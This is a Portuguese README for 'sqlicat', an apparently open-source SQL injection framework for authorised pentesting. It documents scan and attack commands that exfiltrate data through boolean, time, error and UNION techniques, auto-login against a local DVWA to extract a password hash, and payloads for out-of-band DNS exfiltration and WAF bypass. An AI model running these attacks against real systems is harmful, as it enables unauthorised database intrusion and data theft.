## https://sploitus.com/exploit?id=73790A46-B026-5E87-8E86-DCB84186E6AC
# sqlicat
**Framework de SQL Injection em Python puro (stdlib) — geração de payloads,
execução de ataques (detecção + exfiltração), sessão/login automáticos e
integração com bases de conhecimento (ExploitDB, NVD/NIST, CIRCL).**
Versão 1.3.0 · Licença AGPL V3 · Python ≥ 3.10 · Zero dependências de terceiros
> ⚠️ **Uso restrito a alvos com autorização explícita** — laboratórios próprios,
> ambientes de teste (DVWA, WebGoat, sqli-labs...) e engajamentos de pentest
> contratados por escrito. Rodar isto contra sistemas de terceiros sem
> autorização é crime na maioria das jurisdições. Você é o único responsável
> pelo uso desta ferramenta.
---
## Sumário
- [O que é](#o-que-é)
- [Instalação](#instalação)
- [Uso rápido](#uso-rápido)
- [Referência completa do CLI](#referência-completa-do-cli)
- [`list`](#sqlicat-list)
- [`payload`](#sqlicat-payload)
- [`scan`](#sqlicat-scan)
- [`attack`](#sqlicat-attack)
- [`exploitdb`](#sqlicat-exploitdb)
- [`cve`](#sqlicat-cve)
- [Sessão automática (login, cookies, parâmetros extras)](#sessão-automática-login-cookies-parâmetros-extras)
- [Arsenal de payloads](#arsenal-de-payloads)
- [Arquitetura](#arquitetura)
- [Testes](#testes)
- [Desenvolvimento](#desenvolvimento)
- [Solução de problemas](#solução-de-problemas)
- [Fontes das integrações](#fontes-das-integrações)
---
## O que é
`sqlicat` é um framework de linha de comando para pesquisa e testes de SQL
Injection, escrito inteiramente em Python padrão — sem `requests`, sem
`beautifulsoup`, sem nenhuma dependência externa em tempo de execução. Ele
cobre três frentes:
1. **Geração de payloads** — um arsenal de 11 payloads cobrindo UNION,
boolean-blind, time-blind, error-based, stacked queries, out-of-band,
bypass de WAF e second-order, prontos para uso ou como referência.
2. **Execução de ataques** — envia os payloads a um alvo HTTP real, detecta
sinais de vulnerabilidade (assinatura de erro, diferença booleana,
latência) e exfiltra dados byte a byte (boolean/time-blind), via erro
(XPATH) ou via UNION.
3. **Automação de sessão** — autentica sozinho em formulários HTML (extrai
token CSRF, faz login, mantém cookies), sem precisar copiar nada do
navegador manualmente.
4. **Inteligência de vulnerabilidades** — consulta ExploitDB (via
`searchsploit`), NVD/NIST (API 2.0) e CIRCL (com fallback automático
entre as duas últimas) para cruzar achados com CVEs e exploits públicos.
A arquitetura segue os princípios SOLID deliberadamente (veja
[Arquitetura](#arquitetura)) e todo o desenvolvimento segue TDD: a suíte tem
**179 testes e 100% de cobertura**, organizados como uma pirâmide
unit → integration → e2e.
---
## Instalação
Requer Python 3.10+. Não há dependências de runtime — apenas stdlib.
```bash
pip install -e .
```
Para desenvolvimento (inclui `pytest` e `pytest-cov`):
```bash
pip install -e '.[dev]'
```
Isso instala o comando `sqlicat` no seu `PATH` (via `[project.scripts]`) e
o pacote fica importável como `import sqlicat`.
> **Nota (Windows sem Python nativo instalado):** se o único Python
> disponível é dentro do WSL, instale e rode tudo por lá — o `venv` criado
> dentro do WSL não é utilizável a partir de um PowerShell nativo (não tem
> `Scripts\python.exe`). Ative o ambiente virtual e rode os comandos
> normalmente de dentro do WSL:
> ```bash
> source venv/bin/activate
> sqlicat list
> ```
> Isso não é uma limitação do sqlicat — é só como `venv` funciona quando
> criado em um sistema de arquivos diferente do que vai executá-lo.
Duas dependências são **opcionais** e só entram em cena se você usar
funcionalidades específicas:
- `searchsploit` (pacote `exploitdb`) — necessário só para `sqlicat exploitdb`.
- Nenhuma outra. `cve`, `scan` e `attack` usam `urllib` puro.
---
## Uso rápido
```bash
sqlicat list # lista os 11 payloads
sqlicat payload union-data --json # gera 1 payload com metadados
sqlicat scan http://localhost:8080/item.php --param id
sqlicat attack http://localhost:8080/item.php --param id \
--technique boolean --column table_name --schema "DATABASE()"
sqlicat exploitdb "WordPress sql injection"
sqlicat cve --id CVE-2021-44228
```
---
## Referência completa do CLI
Todos os subcomandos que falam com um alvo (`scan`, `attack`) compartilham um
conjunto comum de flags de transporte/sessão — descritas uma vez aqui e
referenciadas nas seções seguintes.
**Flags comuns a `scan` e `attack`:**
| Flag | Padrão | Descrição |
|---|---|---|
| `url` (posicional) | — | URL do alvo |
| `--method` | `GET` | `GET` ou `POST` |
| `--param` | — | nome do parâmetro vulnerável (query string ou body) |
| `--extra-param KEY=VALUE` | — | parâmetro fixo adicional em toda requisição, repetível (ver [Sessão automática](#sessão-automática-login-cookies-parâmetros-extras)) |
| `--proxy` | — | proxy HTTP/HTTPS (ex.: `http://127.0.0.1:8080` para interceptar no Burp) |
| `--timeout` | `10.0` | timeout por requisição, em segundos |
| `--header KEY:VALUE` | — | cabeçalho HTTP adicional, repetível |
| `--cookie KEY=VALUE` | — | cookie fixo, repetível |
| `--login-url` | — | URL do formulário de login; se presente, autentica antes de rodar |
| `--login-user` / `--login-pass` | — | credenciais (obrigatórias se `--login-url` for usado) |
| `--login-user-field` / `--login-pass-field` | `username` / `password` | nomes dos campos do formulário |
| `--login-extra KEY=VALUE` | — | campo fixo extra do formulário de login, repetível |
Se `--param` não for informado, use `{payload}` em algum ponto da URL (ex.:
`http://x/{payload}/item.php`) — útil para injeção em segmentos de path.
### `sqlicat list`
Lista o arsenal de 11 payloads.
```bash
sqlicat list # tabela resumida
sqlicat list --verbose # + raw SQL e descrição de cada payload
sqlicat list --json # JSON completo (nome, técnica, dbms, raw, meta)
```
### `sqlicat payload `
Gera um payload específico pelo nome (veja a tabela em
[Arsenal de payloads](#arsenal-de-payloads)).
```bash
sqlicat payload union-data
sqlicat payload boolean-binary-search --json
```
Sai com código 1 e mensagem em stderr se o nome não existir.
### `sqlicat scan`
Testa **todos** os payloads do arsenal (ou um específico) contra o alvo e
reporta quais dispararam algum sinal de vulnerabilidade.
```bash
sqlicat scan http://localhost:8080/item.php --param id
sqlicat scan http://localhost:8080/item.php --param id \
--payload error-extractvalue --threshold 3.0
```
| Flag | Padrão | Descrição |
|---|---|---|
| `--payload` | — | nome específico do arsenal (senão testa os 11) |
| `--threshold` | `3.0` | limiar de latência (segundos) para o detector time-based |
A detecção combina três sinais independentes (`ErrorSignatureDetector`,
`BooleanDetector`, `TimeBasedDetector`) — qualquer um que dispare marca o
payload como `!! VULNERÁVEL`, com a evidência impressa abaixo da linha.
### `sqlicat attack`
Exfiltra dados de verdade, usando uma das quatro técnicas de extração.
```bash
sqlicat attack --param id --technique [opções]
```
| Flag | Padrão | Usado por | Descrição |
|---|---|---|---|
| `--technique` | *obrigatório* | — | `boolean`, `time`, `error` ou `union` |
| `--expr` | `database()` | error, union | expressão SQL a extrair (CSV em `union`) |
| `--column` | `table_name` | boolean | coluna a extrair via `information_schema` |
| `--schema` | `DATABASE()` | boolean | expressão de schema |
| `--delay` | `3` | time | segundos de `SLEEP` por candidato |
| `--threshold` | `2.0` | time | latência mínima (s) para considerar "verdadeiro" |
| `--length` | `32` | time | nº de posições a testar |
| `--columns` | `3` | union | nº de colunas da query original |
**Boolean-blind** — busca binária por ASCII, posição a posição:
```bash
sqlicat attack http://x/item.php --param id --technique boolean \
--column table_name --schema "DATABASE()"
```
**Time-blind** — quando não há diferença visível na resposta, só na latência
(mais lento: 1 requisição por candidato testado):
```bash
sqlicat attack http://x/item.php --param id --technique time \
--delay 3 --threshold 2.0 --length 20
```
**Error-based** — abusa de `ExtractValue`/XPATH do MySQL para vazar dados
direto na mensagem de erro:
```bash
sqlicat attack http://x/item.php --param id --technique error \
--expr "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables"
```
**Union-based** — expressões arbitrárias em colunas escolhidas via UNION:
```bash
sqlicat attack http://x/item.php --param id --technique union \
--expr "DATABASE(),VERSION()" --columns 4
```
Resultado sempre impresso como JSON em stdout.
### `sqlicat exploitdb`
Consulta o ExploitDB local via `searchsploit` (requer o binário instalado —
veja [Solução de problemas](#solução-de-problemas)).
```bash
sqlicat exploitdb "WordPress sql injection"
sqlicat exploitdb --cve CVE-2021-41773
sqlicat exploitdb "apache" --binary /opt/exploitdb/searchsploit
```
### `sqlicat cve`
Consulta CVEs na NVD API 2.0, com fallback automático para CIRCL se a NVD
falhar ou não retornar o CVE.
```bash
sqlicat cve --id CVE-2021-44228 # 1 CVE específico
sqlicat cve --limit 20 # CVEs de SQLi mais recentes (NVD)
NVD_API_KEY=xxx sqlicat cve --id CVE-2021-44228 --nvd-key "$NVD_API_KEY"
```
`--nvd-key` lê a env var `NVD_API_KEY` por padrão. Sem chave, a NVD limita a
~5 requisições/30s; com chave, ~50/30s.
---
## Sessão automática (login, cookies, parâmetros extras)
A maioria dos alvos reais não é um formulário anônimo isolado — tem login,
CSRF token, cookie de configuração, botão de submit exigido. `scan` e
`attack` cuidam disso sozinhos, sem passo manual no navegador.
**Como funciona:**
- `HttpRequester` mantém um **cookie jar real** (`http.cookiejar`) por trás
de cada instância. Qualquer `Set-Cookie` recebido — de um login ou de
qualquer outra resposta — é automaticamente reenviado nas chamadas
seguintes.
- `--login-url` + `--login-user` + `--login-pass` disparam um handshake
completo: `GET` na página de login (extraindo qualquer
``, ex.: token CSRF, via `html.parser` puro — sem
parser HTML de terceiros), depois `POST` das credenciais mescladas com
os campos hidden encontrados. A sessão resultante já vale para as
requisições de `scan`/`attack` que vêm a seguir.
- `--cookie` seta cookies fixos que não vêm do formulário de login (ex.:
uma flag de nível de segurança do próprio alvo).
- `--extra-param` inclui um parâmetro fixo em **toda** requisição, ao lado
do parâmetro injetável — necessário sempre que o alvo só executa a query
na presença de um campo companheiro (o caso mais comum: o `name` do botão
de submit do formulário).
**Exemplo completo, contra um DVWA local (`docker run --rm -d -p 8081:80
vulnerables/web-dvwa`), do zero ao ataque, sem tocar no navegador:**
```bash
sqlicat scan http://localhost:8081/vulnerabilities/sqli/ --param id \
--extra-param Submit=Submit \
--cookie security=low \
--login-url http://localhost:8081/login.php \
--login-user admin --login-pass password --login-extra Login=Login
sqlicat attack http://localhost:8081/vulnerabilities/sqli/ --param id \
--extra-param Submit=Submit --cookie security=low \
--login-url http://localhost:8081/login.php \
--login-user admin --login-pass password --login-extra Login=Login \
--technique union \
--expr "(SELECT user FROM users LIMIT 1),(SELECT password FROM users LIMIT 1)" \
--columns 2
# -> ["admin", "5f4dcc3b5aa765d61d8327deb882cf99"] (md5 do password padrão do DVWA)
```
> Nomes de coluna soltos em `--expr` (ex.: `user,password`) não funcionam sem
> uma cláusula `FROM` — o MySQL não sabe de qual tabela puxá-los dentro de um
> ramo de `UNION`. Envolva em subquery: `(SELECT coluna FROM tabela LIMIT 1)`.
Falhas de login (credenciais erradas, alvo inalcançável) terminam com uma
mensagem curta em stderr e código de saída 1 — nunca um traceback bruto.
---
## Arsenal de payloads
| # | Nome | Técnica | DBMS |
|---|---|---|---|
| 1 | `union-hex-literal` | UNION-based (literal hex sem aspas) | MySQL |
| 2 | `boolean-binary-search` | Boolean blind (busca binária ASCII) | MySQL/Postgres/Oracle |
| 3 | `time-conditional` | Time-based (SLEEP/pg_sleep/WAITFOR) | MySQL/Postgres/MSSQL |
| 4 | `error-extractvalue` | Error-based XPATH (`~dado~`) | MySQL |
| 5 | `stacked-dml` | Stacked queries (DML/OUTFILE) | MySQL/MSSQL/Postgres |
| 6 | `oob-dns-exfil` | Out-of-band DNS (LOAD_FILE/xp_dirtree) | MySQL/MSSQL |
| 7 | `comment-fragmentation-bypass` | Bypass de WAF via `/**/` | MySQL/MSSQL/Postgres |
| 8 | `versioned-comment-bypass` | `/*!50000UNION*/` | MySQL |
| 9 | `second-order-stored` | Second-order (valor armazenado) | multi |
| 10 | `double-url-encoding-chain` | Encoding em camadas (bypass de WAF) | multi |
| 11 | `union-data` | UNION genérico de extração | multi |
Cada payload é um `PayloadBuilder` independente (`sqlicat/payloads/builders.py`) —
adicionar um novo payload é criar uma classe nova e registrá-la em
`DEFAULT_BUILDERS`; nenhum código existente precisa mudar (OCP).
---
## Arquitetura
Sem dependências externas, sem framework web, sem ORM — só `urllib`,
`http.cookiejar`, `html.parser` e `subprocess` da stdlib. O pacote é dividido
em camadas; o domínio não faz I/O e os adaptadores externos dependem dos
contratos internos:
```
sqlicat/
├── domain/
│ ├── models.py value objects imutáveis e relatórios
│ └── contracts.py portas: Requester, SignalDetector, Encoder, PayloadBuilder
├── payloads/
│ ├── encoders.py estratégias de ofuscação + EncodingChain (Composite)
│ └── builders.py 11 builders + PayloadFactory
├── detection/
│ ├── detectors.py detectores de erro/boolean/time + AnyOf/AllOf
│ └── tester.py orquestra payload, resposta e detectores
├── attacks/
│ └── extractors.py extração boolean/time/error/union via porta Requester
├── infrastructure/
│ ├── http.py urllib, cookie jar, login e parâmetros extras
│ ├── exploitdb.py adaptador local para searchsploit
│ ├── cve.py clientes NVD/CIRCL e fallback de CVE
│ └── knowledge_base.py fachada consolidada
├── cli.py composição e roteamento argparse
└── __init__.py fachada pública estável (`from sqlicat import X`)
```
**Direção das dependências:**
```
cli.py
├──► attacks ─────► payloads ──┐
├──► detection ────────────────┼──► domain (models + contracts)
├──► payloads ─────────────────┤
└──► infrastructure ───────────┘
```
O ponto chave de design: `attacks.extractors` e `detection.tester` dependem da
abstração `Requester` (`send(payload) -> Response`) — nunca de `HttpRequester`
diretamente. `infrastructure.http` é apenas um adaptador dessa porta. Isso
permite testar ataques e detecção offline com fakes/servidores locais e manter
sessão, cookies e login isolados da lógica de domínio.
---
## Testes
```bash
python -m pytest -v # suíte completa, offline, ~10s
```
**179 testes, 100% de cobertura** (`--cov-fail-under=99` configurado em
`pyproject.toml`), organizados como pirâmide via `pytest.mark`:
| Camada | Arquivos | O quê |
|---|---|---|
| **unit** (base) | `tests/domain/`, `tests/payloads/`, `tests/detection/`, `tests/attacks/`, `tests/infrastructure/`, `test_cli.py`, `test_package.py` | uma classe/função por vez, dependências substituídas (fakes/mocks) |
| **integration** | `tests/integration/test_pipeline.py` | componentes reais compostos entre si — `HttpRequester` real + detectores/extratores reais; sessão/cookie/login testados contra servidores HTTP locais reais em loopback (não mockados, porque mockar `OpenerDirector.open` pula toda a cadeia de handlers do `urllib`, inclusive o processamento de cookies) |
| **e2e** (topo) | `tests/e2e/test_cli_e2e.py` | `python -m sqlicat.cli` via subprocess real, pacote instalado ponta a ponta |
Rodar só uma camada:
```bash
python -m pytest -m unit
python -m pytest -m integration
python -m pytest -m e2e
```
Tudo determinístico e offline — os testes de integração/sessão sobem um
`http.server.ThreadingHTTPServer` real em `127.0.0.1` numa porta efêmera,
não fazem nenhuma chamada de rede externa.
---
## Desenvolvimento
O projeto segue TDD estritamente: toda mudança de comportamento começa por
um teste que falha pela razão certa, depois a implementação mínima para
passar, depois refatoração. Antes de abrir um PR:
1. Escreva o teste primeiro (unit se possível; integration se envolver
composição real de componentes; e2e só se for algo que só se prova via
subprocess).
2. `python -m pytest -v` — precisa ficar verde com 100% (ou justificar
explicitamente por que uma linha específica é inatingível).
3. Releia contra SOLID: uma classe nova faz *uma* coisa? Ela depende de
abstrações (`Requester`, `SignalDetector`, `PayloadBuilder`, `Encoder`) ou
de implementações concretas? Um `PayloadBuilder`/`Encoder` novo não deveria
exigir mudar nenhum código existente (OCP).
4. Sem dependências de runtime novas — o projeto é stdlib pura por decisão de
design, não por acidente.
Estrutura de pacote: código em `sqlicat/`, testes em `tests/` (mesma raiz do
repositório). `pip install -e '.[dev]'` deixa tudo pronto.
---
## Solução de problemas
**`ExploitDbError: binário 'searchsploit' não encontrado no PATH`**
`searchsploit` não é instalado por padrão. No Kali: `apt install exploitdb`.
Em outros sistemas: clone `gitlab.com/exploit-database/exploitdb` e aponte
`--binary /caminho/para/searchsploit`.
**`erro: login falhou: `**
`--login-url` está incorreta ou o alvo está fora do ar/inalcançável a partir
de onde o `sqlicat` está rodando. Confirme com `curl` primeiro.
**`scan` não marca nada como vulnerável, mas eu sei que o alvo é vulnerável**
Duas causas comuns:
- Falta autenticação/sessão — veja [Sessão automática](#sessão-automática-login-cookies-parâmetros-extras).
- O alvo exige um parâmetro companheiro (ex.: nome do botão de submit) para
sequer executar a query — use `--extra-param`. Este é exatamente o caso do
DVWA (`Submit=Submit`).
**NVD retorna poucos resultados ou erro 403**
Sem `NVD_API_KEY`, o limite é ~5 requisições/30s. Gere uma chave gratuita em
nvd.nist.gov e passe via `NVD_API_KEY` ou `--nvd-key`.
**Rodando em Windows sem Python nativo**
Veja a nota em [Instalação](#instalação) — use o Python de dentro do WSL.
---
## Fontes das integrações
- **NVD API 2.0** — https://services.nvd.nist.gov/rest/json/cves/2.0
- **CIRCL** — https://cve.circl.lu/api (sem autenticação; usado como fallback
quando a NVD falha ou não tem o CVE)
- **ExploitDB / searchsploit** — https://www.exploit-db.com/searchsploit